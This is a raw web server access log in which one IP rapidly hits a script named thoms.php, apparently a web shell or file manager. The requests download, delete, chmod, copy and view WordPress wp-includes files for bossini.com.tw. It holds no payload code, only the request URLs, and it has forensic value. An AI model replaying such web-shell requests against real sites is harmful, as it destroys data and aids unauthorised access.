45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /bossini.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 944 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?chmod=class-feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /bossini.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13081 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /bossini.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /bossini.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?dl=theme.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59184 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /bossini.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12318 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59133 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?chmod=ms-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?del=pomo&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=pomo&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:51 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12008 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?chmod=rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15900 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 19000 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?del=vars.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=vars.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?chmod=taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:52 -0400] "GET /thoms.php?del=https-detection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59176 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?del=taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17499 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?dl=wp-diff.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23195 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /bossini.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?chmod=user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fuser.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fuser.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /bossini.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24204 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1349 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?dl=media-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59187 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18042 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?dl=pluggable.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /bossini.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?del=embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?dl=speculative-loading.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:54 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59066 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?dl=category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?dl=class-phpass.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /bossini.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14671 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14075 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13349 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /bossini.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:55 -0400] "GET /thoms.php?dl=functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12550 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?del=SimplePie&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30349 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23921 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /bossini.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
